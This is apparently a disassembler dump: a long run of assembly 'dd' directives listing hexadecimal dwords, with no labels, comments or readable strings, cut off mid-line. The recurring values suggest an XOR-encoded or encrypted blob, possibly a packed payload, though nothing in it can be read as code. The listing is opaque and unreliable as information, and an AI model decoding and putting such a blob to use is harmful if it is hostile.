1A0626F6h dd 128FCA85h, 47668832h, 0B6D9C5EFh, 0E0072268h, 152B945Ah dd 31520132h, 156649DBh, 81044A32h, 414BE205h, 0E673A3C3h dd 9E69F4B9h, 15662226h, 0FDA79B52h, 15668838h, 23CEBF3Dh dd 3225D747h, 743CAA6Ch, 0C2B15B9h, 1A9A4227h, 156623BFh dd 2699E432h, 944284B9h, 156640F6h, 1BE82D32h, 0FC661132h dd 1566883Bh, 513BBA0Dh, 0C517AF69h, 48E39A8Fh, 75609D38h dd 94BCF33Dh, 47DAA0DDh, 0F5B7707Ah, 15720B3Dh, 0FC064432h dd 15662239h, 0E4696A10h, 89E106DEh, 479A1835h, 9269436Ch dd 1566112Ah, 15669BDBh, 0C90C0132h, 0BCA69111h, 1264BEF9h dd 54E856E0h, 90AD6B93h, 37EFA731h, 96691727h, 15668834h dd 4EDF2252h, 0E357435Ch, 156618DBh, 0CB34D532h, 28E5573Ch dd 0BD0E6DF8h, 9C661131h, 4D30AC36h, 0B800B86Ch, 156630DBh dd 61A42632h, 0B117B191h, 86D637A8h, 314826A1h, 0D46B0D5Ch dd 99698AD2h, 15664439h, 0D6ED4452h, 1566953Dh, 16078832h dd 672DB7h, 138E4234h, 78661132h, 0B0D29C01h, 4AD9F13Ch dd 118AA353h, 9C661132h, 4D30AC36h, 1575AD6Ch, 23022232h dd 16EF257Bh, 0FFB19B30h, 5F1AB4F7h, 678A3748h, 9869BC98h dd 15668824h, 156655DBh, 596B8D32h, 142912B6h, 3C64F9DDh dd 266B30A6h, 7506A886h, 4F314864h, 0E5E7E853h, 67DF22FCh dd 1566AE3Dh, 74071132h, 4176AE37h, 5A5F4107h, 0DD670D92h dd 0B529281Fh, 540A51Dh, 58F7166h, 61662232h, 386BE788h dd 0EB64CC8Ch, 936A4418h, 75CDF050h, 1A38E864h, 15668AB3h dd 743C1632h, 424216B9h, 0D2E7F6BBh, 15668836h, 156283B3h dd 29E12232h, 969A4D16h, 4A658Fh, 91694534h, 156622E0h dd 90EB2ACBh, 1A609D24h, 156681B6h, 1F8FD732h, 7B661132h dd 0ACF7B131h, 0EE218662h, 9CEB1992h, 1A600435h, 156621B6h dd 1569AD32h, 0B3D12232h, 0FB464155h, 0AAF45764h, 0A7360DF8h dd 9CEB199Fh, 1A600425h, 156601B6h, 1560AD32h, 24FD2232h dd 0A74263BCh, 0F14315BFh, 9669422Eh, 15662239h, 0D2ED7752h dd 1566063Dh, 0EA074432h, 0F9E7DBE1h, 15661136h, 94428CBBh dd 11A16006h, 94390FC6h, 0E162D6C5h, 156A611Fh, 0BCC4432h dd 7A08AB9Bh, 5B6E50A5h, 138F7B5Eh, 76664432h, 0A3F201DDh dd 98E398FAh, 75609D2Bh, 82D2AF8Ch, 4EB2D2Dh, 0FD661132h dd 15668839h, 8F7553FAh, 0CFE69D9Ah, 4FFACA8Ch, 2F8F7D53h dd 1A66442Ch, 156623B4h, 88EBE832h, 137A6C17h, 1568AD52h dd 5E232232h, 0A0C7D638h, 0D6EF7C5Dh, 19CBEFAh, 0CBD92D64h dd 0C699706Dh, 15669BDBh, 0A3205532h, 7F2D4768h, 878A790h dd 21A89BF9h, 4794C326h, 398B9FB1h, 1A661727h, 1566DEB6h dd 739A2432h, 0D2EFD4B3h, 24E32A53h, 1A609D3Eh, 156668B6h dd 156DCB32h, 9A5E1132h, 551FC137h, 400FD9DFh, 74E31930h dd 1A60043Bh, 1566AEB7h, 156DAD32h, 6B5F2232h, 7BA653F3h dd 0DF262832h, 0EB90ADA6h, 0FC9FDDCDh, 15661139h, 145C0775h dd 0A505C01Eh, 2E980511h, 4F2CB7h, 83E38734h, 1A664432h dd 156623B6h, 9506E432h, 0F3E77DE1h, 21ABFFE1h, 0A0DBA153h dd 1560041Fh, 15570C3Dh, 97694432h, 1566223Eh, 156616DBh dd 0B4252732h, 19D5F6Bh, 100B9FB1h, 1A661727h, 1566D0B6h dd 156BAD32h, 0AB892232h, 1EDE1124h, 892574C4h, 98357AD1h dd 95991B7h, 1B8E7134h dd 0FB668832h, 0D55CA8AFh, 0CC5D4E84h, 0A7B5582Dh, 0C3E7EEECh dd 1A3EC943h, 156621B7h, 0D0AB9132h, 4C8F7153h, 7599BBCCh dd 1565A13Dh, 0A2691132h, 156061FBh, 0D2934432h, 78F2F260h dd 28E32A53h, 1A609D1Bh, 0EA9873B6h, 940042CDh, 94B633C5h dd 16BC33E0h, 0A8E52538h, 137AA574h, 43E31E33h, 1A668832h dd 15664AB4h, 156FCB32h, 0A9861132h, 26427110h, 0ED80888Fh dd 921CA709h, 9069172Eh, 15668807h, 0CDED2252h, 0A095A354h dd 90EB708Bh, 153F83D6h, 156643DBh, 91CE6B32h, 0D92261EDh dd 0E89261CEh, 9869BBCDh, 1566223Fh, 156619DBh, 5F47CC32h dd 0DA9F8BDFh, 0FC9913E7h, 15661137h, 5369320Dh, 0D4DBC726h dd 15603723h, 1A64953Dh, 128F8832h, 0F7664432h, 0A6C21AF7h dd 905D58C1h, 137A0F54h, 155EC13Dh, 0E09E2232h, 3C4F94B9h dd 1A068E27h, 156647B1h, 0DED92D32h, 74A0AE3Dh, 448D3163h dd 0CC917153h, 0DCE7F3C5h, 3B367B87h, 0E4E761E3h, 0F5210632h dd 1A3FED1Bh, 156610B7h, 905D7132h, 137AC35Ch, 1546A73Dh dd 9E9F1132h, 49B9B7h, 9E002434h, 0AD3643F8h, 0EA99EECDh dd 753E4F1Bh, 0F4EFA789h, 7406740Fh, 905D7068h, 137A0F58h dd 1558C13Dh, 9E9E2232h, 44DCB7h, 15766134h, 48D94432h dd 8930CFA9h, 31C37BF6h, 87F1A22Dh, 0AD36B315h, 25993BE0h dd 0E253517Ah, 55140569h, 30539CC5h, 3C245070h, 108F49F5h dd 1668832h, 1E4D1B31h, 9214A709h, 9069172Eh, 1566881Ah dd 24E3CFCAh, 0FC603702h, 15661135h, 4459558Ah, 434FED4Ch dd 0EA99DD8Ch, 4B9138CDh, 47223C52h, 1566C13Dh, 743D2232h dd 92109409h, 90698E2Eh, 15664450h, 15662DDBh, 0C4AF8B32h dd 0F8EE1540h, 48E14127h, 5CE19361h, 12A394B9h, 0FD068E27h dd 1566443Bh, 0A070CF69h, 98185C0Ch, 4E3DD8E4h, 14E44B53h dd 0ED662232h, 0EA99AA61h, 0CA4F77CDh, 18E2469h, 0D662232h dd 0A438EC10h, 0F8B36316h, 0DF105BD2h, 0AD9CB4F8h, 1AB54917h dd 156688BEh, 0DEE61E32h, 905D43C4h, 137A9648h, 15490D3Dh dd 92694432h, 1566223Eh, 156616DBh, 0F79DF132h, 119B24F6h dd 0C83A7B9h, 0A3061727h, 0B7A608E2h, 14DD1753h, 14662232h dd 99694AEDh, 15668833h, 6BE37FC7h, 1A603EB5h, 156620B7h dd 15636132h, 79054432h, 9EB35284h, 6114B7h, 4B37E834h dd 74A9F33Dh, 14DF73CBh, 14661132h, 1A06D1FDh, 156642B3h dd 0FCB9A332h, 0A53DB405h, 905DE90Eh, 137AC3B0h, 154BA73Dh dd 1F8F1132h, 0C3668832h, 2E8F7D59h, 206A0716h, 0A0E39AA8h dd 0EC609D33h, 4D391465h, 198FB572h, 0E8661132h, 37CABE73h dd 0A4553C7Bh, 2E0F40D5h, 9E197B7h, 56E38734h, 1A664432h dd 156632B6h, 156DF832h, 750E8832h, 4D0AE943h, 0DB2B2C82h dd 0A0E39A3Ch, 1A609D34h, 15664EB1h, 0F7E74232h, 72BEA78Eh dd 4607E952h, 0EA99BB89h, 4EB90BCDh, 156E9D3Dh, 73068832h dd 0A26986B9h, 905D43F2h, 137A96B8h, 155E0D3Dh, 9E9E4432h dd 640BB7h, 19E51E34h, 1A668832h, 156642B3h, 15EC2D32h dd 43661132h, 1566898Ch, 4B914532h, 156633DBh, 0E9D80432h dd 1936AB79h, 0DCF3BC4h, 0C89F8F1Eh, 905DDFC4h, 137A0FA0h dd 152DC13Dh, 73062232h, 959D698Ah, 9E078FC5h, 624DB7h dd 156BCB34h, 75D31132h, 0FED466F6h, 0F9690479h, 468D3EBEh dd 4011289h, 6BAD0967h, 5E4F6613h, 8DE5E1B3h, 0CA6793FEh dd 15696169h, 0ADD74432h, 0F7FF10h, 97BDE563h, 66AA907Bh dd 9BE37F70h, 1A603EB5h, 156649B7h, 14E88732h, 0E0664432h dd 0DA79FB1h, 1A661727h, 1566CCB7h, 9069B832h, 1566223Eh dd 1560913Dh, 97698832h, 15664432h, 37FA7B9h, 98691727h dd 15668833h, 14DB11C7h, 14662232h, 0FC064CDDh, 15668823h dd 0FEBE6022h, 0C6C9A04Bh, 26AA49AAh, 0BF614257h, 0CFD14B4Ch dd 0ECDBA153h, 1560041Ch, 152F0C3Dh, 0AB064432h, 15A9B6EBh dd 64959152h, 1566063Dh, 74074432h, 9D7CA709h, 9069172Eh dd 15668819h, 156649DBh, 67C53532h, 5E5F7CD5h, 67EEF4FCh dd 90ED265Ch, 13732857h, 0EADC43CAh, 3C9977CDh, 73061EE5h dd 659BF8B3h, 96078F86h, 7A0D8Fh, 91694434h, 1566202Ch dd 0E7D11E52h, 0FDE7EE63h, 74397FF7h, 7EB9FB1h, 1A661727h dd 15648DB6h, 905DB132h, 137AA5CCh, 1532943Dh, 1B8F8832h dd 0F5664432h, 87E724A9h, 0C9F22053h, 3138EE97h, 0F4E3CFECh dd 0FC603730h, 1566113Fh, 564C9BD5h, 936132C0h, 13E9C149h dd 19EE1E3Fh, 1A668832h, 156642B3h, 15E82D32h, 43661132h dd 1566898Ch, 4B914532h, 15662BDBh, 2472A32h, 2EB6D730h dd 905DC08Fh, 137AAA3Ch, 1523943Dh, 73068832h, 1D5B96B3h dd 156DAE3Dh, 138F1132h, 0BB668832h, 419C7E7Ch, 90ED43A6h dd 137307ABh, 156699DBh, 1CEE1D32h, 6A9762FFh, 0D06C0008h dd 918E29E2h, 0EA31DFADh, 29ED0636h, 11A29216h, 15670C3Dh dd 2E9E4432h, 9EE20B7h, 3DE31E34h, 0ED668832h, 20BC1B9h dd 45062427h, 0D100F9B3h, 733E9E81h, 74FE8A8Dh, 733C7052h dd 5F6EF3B3h, 0EADED853h, 3C99BBCDh, 2E937AF5h, 9EE03B7h dd 27E38734h, 0FC664432h, 15662222h, 0BB92CF2Ah, 0AFF002F9h dd 47356C12h, 0A5CBEF96h, 35C794B9h, 44938E27h, 1566458Bh dd 4CA92332h, 156619DBh, 71EB7C32h, 57B6D4EDh, 3E319CBh dd 1A600DBAh, 1566D2B7h, 9369BD32h, 15662233h, 18E39ACEh dd 1A609D14h, 15664EB1h, 1563CB32h, 0C79E1132h, 1A9B152Bh dd 156653B2h, 1574CB32h, 81121132h, 0D8965423h, 0E3C6A273h dd 2B772499h, 2BF57CC3h, 13763260h, 0E7E72C7Bh, 82D0DBDDh dd 753CC61Bh, 748E47B2h, 156642DBh, 48F51832h, 2E936635h dd 9EE8EB7h, 3BE34B34h, 0FC662232h, 15661121h, 595A03BDh dd 14C21297h, 2CF3644h, 0A6E01EC8h, 9E9FDC67h, 73B5B7h dd 0AE35DE34h, 15661133h, 753D5733h, 0E0B7CF54h, 1FE31953h dd 1A600DBAh, 1566BDB7h, 0DAED2432h, 8F97A361h, 4C3DE4F1h dd 0A269E853h, 0DBD14BFCh, 74E3A953h, 0FC60043Eh, 1566883Eh dd 0B61AD3F6h, 62E83E73h, 0F14F2310h, 0EA993260h, 0C24FBBCDh dd 0A8E5DB68h, 137303BFh, 18E28732h, 0FC66443Bh, 15662237h dd 0E14FB3FDh, 83E3B321h, 1A6058B5h, 156611B7h, 58DD7132h dd 95167F2Dh, 0E00756F4h, 8CFA7B9h, 0AC061727h, 6572BE03h dd 74B5CF54h, 0FEE7FDB5h, 0EA99EECDh, 936957B5h, 1566443Ah dd 1564AB3Dh, 74061132h, 9D4C0D09h, 9069422Eh, 15662271h dd 156605DBh, 611B9232h, 110838C6h, 0A21D08A9h, 0ADBFEB43h dd 0A9017A88h, 80E3CF49h, 75603701h, 7936AE54h, 92075BB9h dd 14A5C5EDh, 92662232h, 156AF8EDh, 0CD7F8832h, 340BDB74h dd 5C18D3A3h, 2E9E883Eh, 9E112B7h, 55E34B34h, 0E9662232h dd 2D794B9h, 479F8E27h, 0DC127488h, 0D7E76821h, 151F4797h dd 5E2A62B3h, 0D7E707B5h, 551F1206h, 946EFBF3h, 0FBADD8C0h dd 4FB16DCDh, 156BA93Dh, 1D8F1132h, 0BC668832h, 50F1D7C6h dd 2EFD9DDBh, 9E18FB7h, 57E38734h, 0E0664432h, 39CFA7B9h dd 1F8F1727h, 88668832h, 4AAC6933h, 6E2AE89Ah, 0D3DF4033h dd 9423FF07h, 625383C3h, 4CA92377h, 15661FDBh, 4436B32h dd 0B6EE6771h, 5124FF5Fh, 0FC815DA4h, 15668837h, 30653ADh dd 0B7E319F0h, 1A600DB5h dd 1566A4B7h, 9E9FBD32h, 7BFBB7h, 0F7E67134h, 0ECEDEE7Eh dd 0EAD81253h, 3C99DDCDh, 98694FC5h, 1566883Fh, 15664CDBh dd 9079E732h, 0D1CA11B8h, 0B3E3B3C8h, 1A6058B5h, 15666CB7h dd 16E31E32h, 75668832h, 0A8E525CEh, 13733AF3h, 2DE31E32h dd 0ED668832h, 50FC1B9h, 93692427h, 1566113Ah, 0BDFEE52h dd 743D17E7h, 156636DBh, 24584032h, 555A1E9h, 0CEB18E27h dd 37865875h, 0C3A71BC7h, 0EAD8DE5Dh, 3C99BBCDh, 2E9A7CC5h dd 9E1BBB7h, 3BE38734h, 75664432h, 0A8E3A953h, 1A600439h dd 15669ABAh, 156BAD32h, 9C962232h, 9618FAA5h, 0EC11634Ch dd 4401FED5h, 0EA99DD8Bh, 4CA938CDh, 0CAEDEE52h, 0BBE37F53h dd 1A603EB5h, 156662B7h, 0CE28732h, 0FC664432h, 15662226h dd 0EF779BCEh, 980BDB4Bh, 2B9FE8F1h, 8690FA1Bh, 2570BFABh dd 0DA735B1h, 1A664227h, 156665B7h, 14E81E32h, 0ED668832h dd 0F0E6BC52h, 90ED438Dh, 1373253Bh, 1567083Dh, 0E09F4432h dd 7CBD9F67h, 0F8A77348h, 24AB0937h, 9410E754h, 6762BDFFh dd 74939064h, 942DFB30h, 6E600EC7h, 0C093A345h, 142DEAC1h dd 0ED9ED5DDh, 92D4C109h, 9069242Eh, 1566111Ch, 43DEEE52h dd 0E2D14BA1h, 80E3A953h, 1A600413h, 15668FB8h, 0D8E62432h dd 7496A958h, 1567AA61h, 0CA678832h, 9E002469h, 0B4DF44FCh dd 905D70E0h, 137A0F84h, 1531C13Dh, 128F2232h, 6B661132h dd 0F8DABA6h, 90ED6D53h, 137320E3h, 0F5DE7152h, 9E6652CBh dd 1E8E25CCh, 0D9662232h, 0C0F209B3h, 2699E2h, 0F0E6E988h dd 0FC077C21h, 15661137h, 3F3CE53Ch, 11991336h, 315AA916h dd 1A62D5B1h, 156684BBh, 13E94B32h, 1A662232h, 156611B0h dd 0ABE3B332h, 1A6058B5h, 156640B7h, 1E11E32h, 0FC668832h dd 1566443Dh, 0A2DB36C8h, 0A47D4E41h, 0C9C1724Dh, 0E06C4BFCh dd 0DA79FB1h, 1A661727h, 1566B2B7h, 3E44B32h, 0FC662232h dd 15661123h, 0D5BECBEAh, 943D4C16h, 1E328DBFh, 0D0936E40h dd 0D0E30343h, 0EC60512Fh, 15679F67h, 0FA671132h, 1DE5876Fh dd 75664432h, 0D3E744C7h, 2E07E090h, 9E132B7h, 4CE34B34h dd 1A662232h, 156619B5h, 17E38732h, 75664432h, 0D4DBA153h dd 1560042Ah, 15580D3Dh, 99694432h, 15662235h, 1567993Dh dd 9E938832h, 714DB7h, 1561CB34h, 0DDFB1132h, 268277B6h dd 14D812CFh, 14662232h, 92694FC5h, 15668822h, 15664FDBh dd 4CE67632h, 42AFB986h, 0AC1E9730h, 92A4C109h, 9069242Eh dd 1566112Bh, 0F4E303C7h, 0E9605126h, 14DD71C7h, 14661132h dd 9369D3EDh, 15664433h, 0D3E319CAh, 1A600DB5h, 1566F8B7h dd 58F2432h, 5E662232h, 0BDF3E6E2h, 0BB9CDCF2h, 0B8B36F03h dd 75E33FBAh, 99B49054h, 74A8021Eh, 4CE3CF53h, 1A603718h dd 15660DB0h, 3EA8732h, 0FC664432h, 15662223h, 0D4969E7h dd 445C37F0h, 0E21066A1h, 20D4EA59h, 24A12052h, 55A1B9CAh dd 0CE14BA5h, 0FC662232h, 15661126h, 0FD384A43h, 0A78A1109h dd 0CD605283h, 0F7ADC9Fh, 0A100A37Eh, 0DFE37FC7h, 1A603EB5h dd 156630B7h, 15636132h, 63894432h, 9E23AC28h, 6A14B7h dd 0A8337D34h, 0EA99BBCDh, 1A3BCD1Bh, 156610B4h, 905D7432h dd 137AC3FCh, 152AA73Dh, 9E931132h, 4641B7h, 1577AD34h dd 0F5112232h, 0E28C084Bh, 7C67491Dh, 0FFABFFF3h, 45FFDC51h dd 1562558Ah, 366F8D29h, 38267192h, 1530266h, 0F5A7C9C5h dd 5419A534h, 0D267A10Ch, 156ACB6Ah, 0BFFF1132h, 9EB48A22h dd 0ED80CD23h, 905D65AAh, 137A96E0h, 15550D3Dh, 9C694432h dd 1566223Ch, 15E31E52h, 94668832h, 89BEACE3h, 90ED437Fh dd 13731B3Fh, 156682DBh, 0A406EC32h, 0AC8C4184h, 45E833C9h dd 1566898Ah, 4DA14532h, 0C3E319CEh, 1A600DB5h, 1566C1B7h dd 1577AD32h, 64502232h, 7FE28419h, 0BE7AC4D7h, 488C5BD6h dd 9E1BA22Ah, 6CF4B7h, 0AA00E834h, 7306F604h, 128FEDB9h dd 0FF661132h, 0A0AEBC30h, 7407A182h, 0EA999B63h, 0DA4FEECDh dd 156E616Bh, 257A4432h, 8A06B482h, 905DEDF5h, 137A0FE8h dd 157BC13Dh, 9E9F2232h, 43BCB7h, 15616134h, 0F764432h dd 117E33EAh, 24A9202Fh, 54A9B9CBh, 2E938BB5h, 9E1FCB7h dd 42E31E34h, 0FC668832h, 1566443Bh, 9285D13Fh, 5DCF5EA9h dd 4CE30373h, 1A605131h, 15663AB5h, 1575F832h, 0B88A8832h dd 7457808Bh, 60883324h, 658730AFh, 7C793164h, 14DE14F5h dd 14662232h, 0FD0649F5h, 1566883Bh, 56CE1A30h, 0D8A484DAh dd 0DFE77739h, 733C58B1h, 0FD6F87B3h, 905DDA53h, 13733F0Bh dd 15430D3Dh, 73064432h, 4E9FBB3h, 9E07E0B9h, 45B9B7h dd 1561AD34h, 604E2232h, 0CDAA85h, 14D8DE41h, 14664432h dd 2E9E7CC5h, 9E1F3B7h, 2FE38734h, 0FC664432h, 15662238h dd 6171FFEh, 86C0A33Eh, 90ED923Bh, 13732ADBh, 15E81E52h dd 74668832h, 2A67FC62h, 0EB637AAEh, 3CC172F2h, 0FC9ED0F5h dd 1566443Bh, 0DCC10F7Eh, 0B9BDBFB6h, 0BE3B363h, 1A6058BAh dd 15665BB7h, 0F0E67132h, 0A8E5E9FDh, 137ACC14h, 33E32D32h dd 0FC661132h, 15668821h, 3A67CB46h, 4CEEAB99h, 0D8565E9Eh dd 0FD5D7533h, 968BDC5Ch, 4ACF8Fh, 91691134h, 15668870h dd 68E3CFC7h, 0FC603711h, 15661122h, 13CE2382h, 0D416C6F2h dd 914936CEh, 0F36AF176h, 156699DBh, 39FEF332h, 0C893A51Fh dd 0B6343A8h, 0E70120A0h, 0AB302440h, 0EA99DDCDh, 1A38E61Bh dd 156689B8h, 905DB132h, 137AAA10h, 153F943Dh, 96698832h dd 15664433h, 33DBA1CAh, 15600DBAh, 15470D3Dh, 969E4432h dd 4ACF8Fh, 91691134h, 15668805h, 156BC43Dh, 1D8F2232h dd 62661132h, 900B3313h, 9EB7A5E2h, 4537B7h, 0A833ED34h dd 0EA9977CDh, 0FC3BAB1Bh, 1566223Dh, 0D492B610h, 0FAAA5C2Ah dd 0A1A60C60h, 2E812D73h, 9E1F7B7h, 34E38734h, 0E0664432h dd 373BA7B9h, 9E691727h, 15668838h, 24D82252h, 0A1DE44C0h dd 0A833707Fh, 0EA9977CDh, 0E03BAB1Bh, 928CA709h, 9069172Eh dd 15668815h, 0D0E3CFCEh, 75603713h, 1D86BF89h, 0E2D18759h dd 11991353h, 315AA916h, 1A62D5B1h, 15668EBDh, 74062432h dd 2E07FCB9h, 9E1FFB7h, 2EE38734h, 0FC664432h, 15662234h dd 0D3A9256h, 90ED525Bh, 13736333h, 1574CB52h, 0CD911132h dd 0D124D536h, 20C514F2h, 0D0AB8EE5h, 8920D66Bh, 43803752h dd 7407422Bh, 0EA999B63h, 0DA4FEECDh, 905D716Bh, 137AC3C0h dd 1556A73Dh, 9E9F1132h, 44DDB7h, 9DDD2434h, 1A298D74h dd 4607DB85h, 15668989h, 4EB94532h, 57C39C52h, 74934CB6h dd 156681DBh, 9CC9FC32h, 0CB626116h, 905D05BAh, 137A0FC4h dd 1550C13Dh, 9E932232h, 4A44B7h, 156E6134h, 0FB624432h dd 8BCE51C0h, 0AE35FB5Fh, 15668833h, 0FC3D9B33h, 15662226h dd 4A2886Bh, 64F526DEh, 95F3DBCCh, 0E407F0E2h, 0D558EF9Ch dd 929C0D09h, 9069422Eh, 1566227Ah, 0ECD91E52h, 74D368B2h dd 156AAD52h, 27622232h, 88A9A0B9h, 53B0FE31h, 73305ECFh dd 743CE5B9h, 8CF94B9h, 479F8E27h, 7525FB88h, 1D8CE370h dd 0F7B7CBC5h, 0D5E37AB3h, 0C24F44B6h, 10EB2D68h, 75661132h dd 743FDFCAh, 9169BB39h, 15662215h, 1576F852h, 0A29E8832h dd 0AF50E3F6h, 48064672h, 0FEDC7234h, 108F6621h, 0B9664432h dd 837F3F86h, 0FBFEF853h dd 2E9F77CDh, 55C1B7h, 33E32D34h, 75661132h, 0FB8F0961h dd 4D345E0Eh, 15E32D61h, 4B661132h, 9BE30553h, 1A605835h dd 156620B8h, 0FC077132h, 0EA996654h, 8CE37FC7h, 1A603731h dd 15667DB7h, 15746132h, 0A6B04432h, 0FDC8F197h, 489B0A59h dd 73611E73h, 0CC05BF9Ah, 0ADF4452h, 1560F958h, 0A0598832h dd 0CB39542Fh, 0FB413A8Ch, 96074A33h, 9E1CE8Fh, 90694534h dd 15662203h, 94AE9B52h, 53735CF8h, 9506256Bh, 0AF00BEDAh dd 9807639Ah, 4C6DEFB7h, 0EA8FB832h, 0FC99DDDFh, 1566113Fh dd 0EE770549h, 92951528h, 99A2ACD9h, 43E32A66h, 1A6094B5h dd 156650B6h, 905DDB32h, 137A9668h, 157A0D3Dh, 9E064432h dd 0C5ED44C9h, 0F8AEF853h, 916977CDh, 15664438h, 0FE229B52h dd 9E006F09h, 150EE9F4h, 9E664432h, 0D1E50606h, 14E21E36h dd 0ED668832h, 1A67BAB1h, 1566CDB7h, 156BF832h, 0E198832h dd 8C936FA3h, 0FC0A8EDAh, 2E681A22h, 9E1C2B7h, 39E34B34h dd 75662232h, 156BF8CEh, 0CDEA8832h, 31330731h, 8E72BA7Dh dd 7457E028h, 92A20DBFh, 138F446Ah, 1E662232h, 0EDD311FBh dd 0F8326173h, 2E9ABBCDh, 9E16CB7h, 27E31E34h, 1A668832h dd 156651BCh, 1AE32D32h, 0FC661132h, 15668838h, 0D4D864B2h dd 8E0105B0h, 90EBEB5Dh, 153E0008h, 0F846ADCEh, 759ADDCDh dd 0E5E7C183h, 47F21599h, 47E37F53h, 1A603EB5h, 15664AB7h dd 15696132h, 7CFC4432h, 4DFA246h, 19E2263Dh, 0E6F330F8h dd 128F2439h, 0BF662232h, 99A027F9h, 0C7D648ECh, 6AE3C953h dd 0FC667ABAh, 1566113Bh, 552B2851h, 0C879C943h, 0F9AACB3Eh dd 9C69EECDh, 1566882Ah, 156657DBh, 9EE63432h, 0F119CADDh dd 3AB63B81h, 7100DF32h, 79A2CC0Ch, 15243C5Ah, 316A0132h dd 0DDEF85BBh, 1576CB6Bh, 562E1132h, 3174A37Ah, 47ECFB60h dd 3BB507A7h, 4034168Bh, 928578Fh, 7D56FE55h, 0FF4F87A7h dd 0C35AF6Fh, 0C34FB64Bh, 1E9FB868h, 8E32DC4h, 1A661132h dd 156689B1h, 508FB132h, 1A99DDDEh, 15661BBFh, 9F69E832h dd 15664432h, 0E907B981h, 9C3D4161h, 9A69D3ECh, 15664420h dd 15662FDBh, 631E8732h, 0ADA639Fh, 87BA6F40h, 0A0EF6FBCh dd 13731673h, 0AB00E8CEh, 9E00F02Fh, 0A0EF43C9h, 13731743h dd 97583352h, 48F4AE2h, 29662232h, 43BCB93Dh, 0F0A2A511h dd 0D3037314h, 0C9DE7943h, 95077153h, 9069610Ch, 156644FEh dd 15662CDBh, 35536332h, 616CCE6Fh, 888301D9h, 0EA99DCE3h dd 21E71044h, 29000B16h, 0AD361B69h, 4E5A44B1h, 0E03ED603h dd 53BD3567h, 0FA673D70h, 9491236Fh, 5720CADDh, 0FAE6E84Bh dd 943025BBh, 513F061Eh, 9ED306Bh, 11A20916h, 94664432h dd 4C227BF1h, 0AD36ED13h, 1566C832h, 49C487B3h, 0D6672434h dd 49C4FAB3h, 0FC3E8E34h, 1566443Ah, 79F2A302h, 0AE457523h dd 12273509h, 97694227h, 15662214h, 2CB1AB52h, 94008DFCh dd 746920E8h, 0D3ED4452h, 743CE462h, 93697309h, 1566441Eh dd 0CBE74452h, 9E006290h, 3C8FE9F4h, 0FC99BBD9h, 1566223Fh dd 0DAD96C15h, 0E8651A09h, 87F34507h, 0CEE7421Fh, 7B37DFDEh dd 74AD0354h, 8D7F9B9h, 0ED062427h, 0D207D3B9h, 40B9B7h dd 15664434h, 1FEF2D32h, 75661132h, 6C48608Dh, 0CAED2269h dd 1F8F4253h, 95661132h, 0E4075AE2h, 0D558BA9Ch, 14E42DB8h dd 0EC661132h, 13173DBBh, 1F8F4227h, 0EE662232h, 12D1F0CCh dd 60DE2243h, 37FBC9F5h, 1A603F38h, 15660AB5h, 0E18732h dd 0FC664432h, 15662222h, 0F9EE5749h, 0C01DC845h, 0B6BFE3CFh dd 491CF93Eh, 78FC2CDh, 0DD668832h, 0B6EB8936h, 7C935912h dd 95FBEB8Fh, 0FCA7CF3Ah, 1AA64F61h, 15662CB6h, 14EB1E32h dd 0ED668832h, 15C4ADCBh, 98932232h, 0FFC6DAFh, 0C6997034h dd 0EAE0C73Dh, 9569DDCDh, 15661125h, 15669ADBh, 2BEF9D32h dd 0F8BBE40Bh, 0E7301A6Ah, 0DF3679B9h, 9E6F35B6h, 605387h dd 3EF1E34h, 0FC668832h, 15664423h, 0FEAC5315h, 8CA163F1h dd 0C7649898h, 0F3EF55B9h, 1574CBCAh, 8521132h, 752BC8ABh dd 0F9BE4BDEh, 751B4C95h, 9BE6E20Eh, 33573DBBh, 1B8F4227h dd 34662232h, 0D7C6A3A7h, 0A22ACE45h, 0FC5CE3BAh, 0E7FBAFD4h dd 75600AA4h, 61278988h, 0CFED220Eh, 0FCB5DD53h, 1566113Eh dd 0BB234221h, 0A0216838h, 33FCEB07h, 122794B9h, 9C9F8E27h dd 6035B7h, 0DEA2D34h, 0FC661132h, 15668821h, 0F0BE8A1Dh dd 0D6745AC0h, 661C71B9h, 0F7E10CA2h, 74047B2Ah, 1561A53Dh dd 96691132h, 15668833h, 0FD58C4CBh, 15A7A73Dh, 9D691132h dd 15668835h, 1567C43Dh, 0ED932232h, 3F27ACB1h, 1A668E27h dd 1566E2B6h, 0A635DE32h, 0A13677EAh, 73858823h, 4EBECC6Ah dd 156633DBh, 0ABA37132h, 0C39BE29Eh, 0BBB5E181h, 0E87D49DAh dd 0E0CC506Fh, 31620364h, 156280B3h, 9E062232h, 16E31EE2h dd 73668832h, 4207BAB9h, 0A6392B8Dh, 0ADA19021h, 0D4080311h dd 0FAE740D5h, 51416B3Eh, 0A29DEB3h, 0CA9184E4h, 3D37B3B3h dd 0ED4F403Bh, 109E386Dh, 5746A0D2h, 1560AD52h, 0D9942232h dd 0BF3F4FFh, 74B60354h, 1567C65Ah, 315AAB32h, 1566158Dh dd 4A9EA132h, 0EC9AEFC7h, 156404DBh, 9E007132h, 156E61CBh dd 40254432h, 1FE6D16h, 98070BA9h, 99672AFh, 156FAD34h dd 39D92232h, 0BA069718h, 0EC59C733h, 1C8F97CDh, 0AD662232h dd 0D657A76Dh, 9DBFE2C2h, 1030D9BFh, 9F69242Fh, 1566113Fh dd 156680DBh, 0F04FA32h, 6629A760h, 0E9B5EEE5h, 90694839h dd 15664423h, 1563CBCAh, 0B0621132h, 0FC3877ECh, 1566442Ah dd 64E3A1CBh, 10600434h, 0EBA961CEh, 7506BBCDh, 74939584h dd 74A0AE3Dh, 123C15BFh, 1C8F422Fh, 56662232h, 473D32F6h dd 94DC392Eh, 956997CDh, 15662223h, 15661DDBh, 0DA5EEE32h dd 24E0B928h, 9CA82C81h, 0D56DE927h, 157C0D3Dh, 73064432h dd 0AF97FAB3h, 0FC07EFB9h, 15668800h, 0CFE72252h, 0B4DE9259h dd 7473CE32h, 15623361h, 0D7E74432h, 1D987766h, 0FFE7CB33h dd 1D98DD66h, 1560AD69h, 6C392232h, 0FE963BBCh, 1567A6DBh dd 88EBB132h, 137CB84Eh, 1561963Dh, 9E698832h, 15664433h dd 1AB5DDCAh, 156646B1h, 15776132h, 2EEF4432h, 0BD583436h dd 37A4DC91h, 723967BDh, 9EEACAF1h, 605387h, 3E31E34h dd 0FC668832h, 15664423h, 7494C6D2h, 17F3A0A3h, 0F8061CD7h dd 57CA128Fh, 538FD78Fh, 0FC66111Fh, 15668826h, 4566FA63h dd 7265BE51h, 0FE837295h, 4C13CA86h, 0E52DFFA5h, 1317AFB9h dd 9C9E1727h, 60F987h, 1E64B34h, 0FC662232h, 1566113Dh dd 8293E99Ch, 